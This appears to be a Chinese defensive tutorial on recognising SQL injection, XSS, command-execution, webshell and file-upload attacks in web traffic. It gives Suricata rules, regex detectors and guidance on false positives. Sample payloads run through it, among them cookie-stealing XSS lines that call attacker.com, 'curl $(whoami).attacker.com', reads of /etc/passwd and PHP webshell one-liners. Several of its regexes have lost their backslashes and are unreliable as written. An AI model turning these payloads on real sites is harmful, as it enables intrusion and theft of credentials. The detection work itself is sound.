1.1流量特征分析基础
1.1.1编码与解码
1.常见的编码
攻击者常对流量编码以绕过WAF检测,常见编码方式包括:
- URL编码:以`%`开头(如`%3Cscript%3E`解码为`<script>`)。
- Base64:尾部含`=`或`==`(如`PHNjcmlwdD4=`解码为`<script>`)。
- 16进制:以`x`开头(如`x61`解码为`a`)。
- Unicode:以`u`或`&#x`开头(如`u7F16u7801`解码为“编码”)
2.常见特殊字符url编码
(1)URL 编码相关字符
字符 |
编码 |
攻防用途 |
|
|
|
空格 |
|
空格常被用于分隔 SQL 注入语句(如 |
|
|
在路径遍历攻击中(如 |
|
|
分隔 URL 和参数,攻击者可能通过构造恶意参数(如 |
|
|
双重编码(如 |
|
|
|
|
|
攻击者可能通过构造多个参数(如 |
|
|
分隔键值对,攻击者可能通过构造畸形参数(如 |
(2)HTML/XML 特殊字符
字符 |
编码 |
攻防用途 |
< |
%3C / < |
XSS 攻击中,< 被用于注入 HTML 标签(如 <script>)。 |
> |
%3E / > |
与 < 配合,闭合标签或注入脚本。 |
" |
%22 / " |
XSS 攻击中," 用于闭合 HTML 属性(如 <img src="x" onerror=alert(1)>)。 |
' |
%27 / ' |
在 JavaScript 中,单引号用于闭合字符串(如 onerror='alert(1)')。 |
/ |
%2F / / |
在 XML/XSS 攻击中,/ 用于闭合标签(如 </script>)。 |
(3)保留字符(需编码)
保留字符在 URL 中有特殊含义,若需表示字面值必须编码为%HEX
格式:
字符 |
含义 |
编码(UTF-8) |
空格 |
%20或 + |
|
|
保留(分隔符) |
%21 |
|
锚点标识符 |
%23 |
|
保留(参数分隔) |
%24 |
|
编码标志符 |
%25 |
|
参数分隔符 |
%26 |
|
单引号 |
%27 |
|
保留(特殊用途) |
%28 |
|
保留(特殊用途) |
%29 |
|
保留(特殊用途) |
%2A |
|
空格(查询参数中) |
%2B |
|
保留(分隔符) |
%2C |
|
路径分隔符 |
%2F |
|
协议分隔符 |
%3A |
|
保留(参数分隔) |
%3B |
|
键值对赋值 |
%3D |
|
查询参数起始符 |
%3F |
|
用户信息分隔符 |
%40 |
|
保留(IPv6地址) |
%5B |
|
保留(IPv6地址) |
%5D |
3.在线解码工具
工具推荐:
- 在线解码神器:https://cyberchef.org/
- AI辅助分析:https://www.jyshare.com/ai/
锤子在线工具网:https://www.toolhelper.cn/EncodeDecode/Base64
蓝队工具:https://github.com/abc123info/BlueTeamTools
1.1.2正则规则库
流量分析中的正则规则库主要用于识别网络流量中的特定模式,如协议标识、攻击特征、数据泄露尝试等。这些规则通常基于正则表达式(regex),用于匹配或过滤网络数据包的内容。虽然没有一个统一的“标准”流量分析正则规则库,但有几个知名的工具和框架提供了一定的基础规则集,并允许用户根据需要自定义规则。
Snort:Snort是一个开源的网络入侵检测系统(NIDS),它使用规则来描述网络流量的行为模式。这些规则可以用来检测各种威胁,包括端口扫描、缓冲区溢出攻击等。Snort的规则语言支持正则表达式,使得它能够灵活地匹配复杂的流量模式。
Suricata:类似于Snort,Suricata也是一个开源的、高性能的网络IDS、IPS和网络安全监控引擎。它支持复杂的规则设置,包括使用正则表达式来定义如何识别网络流量中的恶意活动。
Bro/Zeek:Bro,现在被称为Zeek,是一种专门用于网络分析的安全监控框架。与Snort和Suricata不同,Zeek更注重于提取高层语义信息,而不是简单地匹配预定义的签名。尽管如此,Zeek脚本语言的强大功能允许用户编写定制化的逻辑来分析网络流量,这包括使用正则表达式进行深度包检测。
Wireshark Display Filters:Wireshark是世界上最重要且广泛使用的网络协议分析器之一。虽然Wireshark本身并不主要依赖于正则表达式来过滤数据,但其显示过滤器机制非常强大,可用于选择性地查看感兴趣的流量。对于某些情况,可以通过Lua脚本扩展Wireshark的功能,以支持更复杂的分析需求,包括使用正则表达式。
1.2五大常见攻击特征
1. 2.1SQL注入
(1)漏洞成因:用户输入未过滤直接拼接SQL语句
(2)攻击手法
○ 联合查询注入:UNION SELECT database()
○ 报错注入:AND 1=CONVERT(INT,'A')
○ 布尔盲注:AND SUBSTRING(@@version,1,1)=5
(3)常见工具链:SQLMap、BurpSuite、Nmap
(4)特征
-
参数中含`and 1=1`、`union select`、`from information_schema`等语句。 -
%55NION SELECT(URL编码绕过) -
UNI/**/ON SELECT(注释符分割关键字)
(5)示例: GET/news.asp?id=1+UNION+SELECT+1,password,3+FROM+user
(6)请求特征:
-
高频出现SELECT/UNION/UPDATE/INSERT等关键字 -
URL参数含单引号转义(%27或%5C') -
Cookie/SessionID注入:SQL语句出现在非参数位置(如Cookie: user=admin' AND 1=1 --)
(7)响应特征:
-
返回数据库错误信息(如MySQL syntax error) -
响应内容包含敏感数据(如用户表字段)
(8)流量检查规则——SQL注入规则(Suricata示例)
alert http any any -> any any (msg:"SQL Injection Attempt"; content:"SELECT|UNION|UPDATE|INSERT"; http_header; pcre:"/User-Agent|Referer/i"; sid:1000001; rev:1;)
Suricata规则增强
alert http any any -> any any (msg:"Advanced SQLi Detection";
content:"SELECT"; http_client_body;
pcre:"/(unionW+select|fromW+information_schema|convert(.*?int)/i";
metadata:service http; sid:1000003; rev:2;)
(9)正则规则示例
匹配UNION SELECT、注释符--、恒真条件1=1等注入特征
(unions+select|execs+(|--s+$|sleep(d+)|1s*=s*1|drops+table)
# 匹配多形态注入(含注释符、编码、空格变形)
(?i)((ux6eions+selw+)|(1s*=[^w]+s*1)|(/*!d{5}.*?*/)|(convert(.*?int)))
1.2.2. XSS攻击
(1)漏洞类型
○ 反射型:通过URL参数触发
○ 存储型:数据库存储恶意脚本
○ DOM型:前端JavaScript解析漏洞
(2)攻击载荷示例:
<script>alert(document.cookie)</script>
<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>
(3)特征:
请求中嵌入`<script>`、`onerror=alert()`等恶意脚本。
SVG/HTML5新标签利用:<svg onload=alert(1)> 、<details open ontoggle=prompt(1)>
(4)示例: GET/search?q=<img src="javascript:alert('xss')>
(5)请求特征
- User-Agent含
<script>
标签或onerror
事件 - Referer字段携带恶意脚本链接
- JSONP劫持:URL参数含callback=<script>...(如?callback=alert(1)//)
(6)响应特征:
返回内容未转义用户输入(如<script>alert(1)</script>
直接输出)
(7)XSS检测规则
alert http any any -> any any (msg:"XSS Attack Detected"; content:"<script>|onerror|onload"; http_header; sid:1000002; rev:1;)
(8)XSS攻击拦截正则规则
过滤跨站脚本攻击中的HTML/JS代码
(<script>|alert(|onerror=|javascript:)
# 匹配HTML事件属性及JS伪协议
(<scriptb|onw+s*=|javascript:w+|data:w+/.*?;base64,)
1.2.3. 命令执行
(1)漏洞成因
系统函数调用未过滤用户输入(如PHP的system()、Python的os.popen())
(2)攻击手法分类
管道符拼接:; cat /etc/passwd | grep root
环境变量注入:curl $(whoami).attacker.com
(3)检测规则(Suricata示例)
suricata
alert tcp any any -> any any (msg:"Reverse Shell Detected";
content:"/bin/sh -i"; depth:50;
pcre:"/(b(bash|nc|socat)b.*?b(\d{1,3}\.){3}\d{1,3}b)/i"; sid:1000005;)
(4)正则规则示例
# 匹配常见命令执行关键字
(b(pwsh|cmd.exe|/dev/tcp/)b|(|s*curls+)|(${IFS}))
(5) 特征:参数含系统命令(如`/bin/bash`、`certutil`)或反弹Shell语句。
(6)示例: GET/cgi/ptcmd.cgi?cmd=;cat+/etc/passwd
1.2.4. Webshell连接
(1)特征增强
加密通信:POST数据含eval(gzinflate(base64_decode(等嵌套函数
时间戳防检测:URL含随机参数(如?t=1689321000)
访问非常规路径(如`admin.php`),参数含`eval`、`base64_decode`等函数。
(2)Suricata规则示例
alert http any any -> any any (msg:"Webshell Activity";
content:"POST"; http_method;
pcre:"/(eval(|assert(|base64_decode(.*?$_(POST|GET))/i";
metadata:service http; sid:1000006; rev:1;)
(3)正则规则示例
# 匹配动态函数调用及编码特征
(bevals*(s*$_(GET|POST|REQUEST)|base64_decodes*(s*['"][A-Za-z0-9+/]+=*))
(4)示例: POST/admin.php?id=@eval($_POST['z0'])
1.2.5. 敏感信息泄露
(1) 特征:尝试访问`web.config`、`/etc/passwd`、`.bak`等敏感文件。
(2)正则规则示例
# 匹配配置文件、备份文件路径
(/.(env|htaccess)b|.(bak|swp|old)b)
1.2.6.文件上传
(1)漏洞场景:
○ 未校验文件类型/扩展名
○ 服务器解析漏洞(如IIS 6.0的.cer解析为.asp)
(2)攻击手法:
○ 上传Webshell(如<?php system($_GET['cmd']); ?>)
○ 利用文件包含漏洞(include($_GET['file']))
(3)请求特征:
-
Content-Type头异常(如image/png但实际内容为PHP代码) -
文件名含特殊字符(如..%2F尝试目录穿越) -
双扩展名绕过:shell.php.jpg -
Content-Length异常:小文件头隐藏大马(如GIF89a头后接PHP代码)
(4)文件特征
-
Magic头检测绕过(如修改GIF文件头隐藏PHP代码) -
免杀Webshell特征<?php $x=chr(115).chr(121); $x($_GET['c']);?> # 字符拼接绕过
(5)正则规则示例
# 匹配文件头与扩展名不一致
(^x89PNG.*?<?php|GIF8[79]a.*?$_(GET|POST))
1.3攻击成功判断与误报分析
1.3.1攻击成功判断
1. 状态码分析
200 OK:攻击请求被服务器成功处理(最常见成功标志)。示例:SQL 注入成功后返回数据库数据(如 You have an error in your SQL syntax)。
302 Found:攻击可能导致重定向到恶意页面(如 Webshell 登录界面)。
500 Internal Server Error:攻击可能触发服务器异常(如命令注入导致服务崩溃)。
2. 响应包内容分析
(1)数据库报错信息
SQL 注入特征:返回 MySQL server version, syntax error, 或敏感字段名(如 username, password)。
示例:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' OR '1'='1'--' at line 1。
(2)敏感数据泄露
文件读取成功:返回 /etc/passwd 文件内容或 Web 应用配置信息。
命令执行成功:返回系统命令输出(如 whoami 返回 root)。
(3)Webshell 执行结果
特征:返回 Webshell 管理界面(如菜刀的 QGluaV9zZXQo base64 编码)、上传文件成功提示或执行脚本结果。
3. 日志与会话关联
(1)HTTP 访问日志
异常请求频率:短时间内高频请求同一路径(如 /login.php 被多次爆破)。
异常 User-Agent:使用非浏览器 User-Agent(如 Wget、curl)或 Webshell 特征(如 Mozilla/5.0 (compatible; MSIE 9.0))。
(2)网络连接日志
反向 Shell 连接:检测到对外部 IP 的异常出站连接(如 C2 服务器)。
横向移动痕迹:攻击者通过成功入侵的主机对内网其他主机发起扫描或登录尝试。
4. 行为验证
(1)复现实验
使用攻击 payload 重新发送请求,观察是否复现相同响应(如返回数据库数据)。
(2)系统检查:
进程分析:检查是否存在异常进程(如 nc、meterpreter)。
文件检查:查找上传的 Webshell 文件(如 .php、.jsp 后缀)。
1.3.2误报分析
1. 常见误报场景
场景 |
示例 |
误报原因 |
业务参数含 SQL 关键词 |
用户发布文章内容包含 |
业务逻辑正常,但被 WAF 误判为 SQL 注入。 |
非文本文件被误判为 Webshell |
上传图片文件被标记为 |
文件内容包含二进制数据,与 Webshell 特征匹配。 |
合法功能使用目录穿越 |
访问 |
业务需求允许访问特定目录,但路径被误判为攻击。 |
内部测试流量 |
安全团队主动扫描内网服务(如 Nmap 扫描) |
流量特征与攻击相似,但实际为授权测试。 |
2. 误报判断方法
(1)IP 地址分析
内部 IP:若源目 IP 均为内部资产(如 192.168.x.x),优先判断为误报(需进一步验证业务逻辑)。
外部 IP:使用威胁情报平台(如 VirusTotal、微步在线)查询 IP 是否标注为傀儡机、矿池等。
(2)访问时间与频率
异常时间:凌晨高频请求(如 2:00 AM 的 SQL 注入尝试)可能为真实攻击。
正常业务时间:白天高频请求但与业务无关(如大量 /admin 请求)需警惕。
(3)请求上下文验证
参数合法性:检查参数是否符合业务逻辑(如 username=admin 是正常参数,而 username=1' OR '1'='1 是攻击)。
响应内容:若攻击请求返回 404 或无变化内容,可能是误报。
3. 误报应对策略
(1)自动化规则优化
白名单机制:将已知合法参数(如 SELECT、AND)加入 WAF 白名单。
上下文匹配:结合 URL 路径(如 /search 允许 SQL 关键词)细化规则。
(2)人工复核流程
多维度交叉验证:结合日志、网络流量、系统行为综合分析。
沙箱验证:对可疑文件上传至沙箱环境运行,观察行为是否异常。
(3)误报闭环管理
记录与归档:将误报案例归档,用于后续规则优化。
定期复盘:分析误报趋势,调整安全设备阈值(如降低 WAF 敏感度)。
1.4实战案例解析
1.4.1Base64+URL双重混淆攻击
POST/admin.php?ghost=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzI...
分析步骤:
1. URL解码后获取`@eval(base64_decode($_POST[z0]))`。
2. 解码`z0`参数Base64内容,发现读取服务器配置文件,确认为Webshell行为。
1.4.2 SQL注入野利用
- 案例场景:
- 某电商网站用户登录接口存在SQL注入
- 攻击过程:
- 使用
'
探测报错信息 - 通过
ORDER BY
猜解表字段数 - 联合查询导出用户表数据
- 流量时序图:
- 初始探测 → 字段探测 → 数据导出 → 横向移动
1.4.3 XSS会话劫持
- 案例场景:
- 某论坛评论区存在存储型XSS
- 攻击过程:
- 插入恶意脚本到评论数据库
- 用户访问页面时Cookie被窃取
- 攻击者利用Cookie冒充用户
- 流量对比分析:
- 正常流量:无恶意脚本
- 恶意流量:含
<script src=https://attacker.com/steal.js></script>
1.4.4 文件上传Webshell
- 案例场景:
- 某CMS后台未校验文件类型
- 攻击过程:
- 上传伪装成图片的Webshell(
shell.php.jpg
) - 通过文件包含漏洞执行
shell.php
- 获取服务器权限
- 文件特征分析:
- 二进制内容含
<?php
和system($_GET['cmd']);
1.5合规与防御建议
严守法律:所有渗透测试需获得合法授权,禁止未授权扫描入侵。
优化规则:定期更新WAF策略,结合威胁情报封禁恶意IP。
监控重点:关注非工作时间日志、高频请求、境外IP访问。
1.5.1技术防范
- SQL注入防护:
- 参数化查询(PreparedStatement)
- Web应用防火墙(WAF)规则拦截
- XSS防护:
- 输入内容HTML编码(如
<
替代<
) - 内容安全策略(CSP)限制脚本来源
- 文件上传防护:
- 文件类型白名单校验(如仅允许.jpg/.png)
- 文件内容Magic头深度检测
1.5.2纵深防御策略
1.深度防御组合
正则规则库 + WAF行为分析(如请求频率限制)
静态规则 + 动态沙箱(检测文件上传后的真实行为)
2.加密流量检测
在网关部署SSL解密策略,明文检测后再加密转发
3.规则性能优化
原文始发于微信公众号(小兵搞安全):SQL注入、XSS、文件上传流量特征分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论